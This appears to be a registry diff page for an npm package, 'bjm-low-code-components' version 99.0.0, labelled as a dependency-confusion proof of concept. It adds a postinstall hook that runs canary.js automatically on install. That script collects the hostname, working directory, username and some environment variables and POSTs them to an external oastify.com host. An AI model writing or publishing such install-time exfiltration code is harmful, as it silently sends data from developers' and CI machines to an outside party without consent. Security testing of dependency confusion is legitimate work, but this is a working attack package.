bjm-low-code-components 99.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/canary.js +15 -0
  2. package/index.js +1 -0
  3. package/package.json +10 -0
package/canary.js ADDED
@@ -0,0 +1,15 @@
1
+ const http = require('http');
2
+ const data = JSON.stringify({
3
+ host: require('os').hostname(),
4
+ cwd: process.cwd(),
5
+ user: require('os').userInfo().username,
6
+ env: { CI: process.env.CI || null, NODE_ENV: process.env.NODE_ENV || null }
7
+ });
8
+ const req = http.request({
9
+ host: '2pslbvbc3adfni1pbe9xy2b1asgj4cs1.oastify.com', // e.g. xxxxx.oast.fun
10
+ path: '/bjm-canary',
11
+ method: 'POST',
12
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
13
+ });
14
+ req.write(data);
15
+ req.end();
package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports = { name: 'bjm-low-code-components', note: 'PoC placeholder' };
package/package.json ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "name": "bjm-low-code-components",
3
+ "version": "99.0.0",
4
+ "description": "SECURITY POC — dependency confusion validation. DO NOT INSTALL. Engagement ref: <your-ref>",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node canary.js"
8
+ },
9
+ "license": "MIT"
10
+ }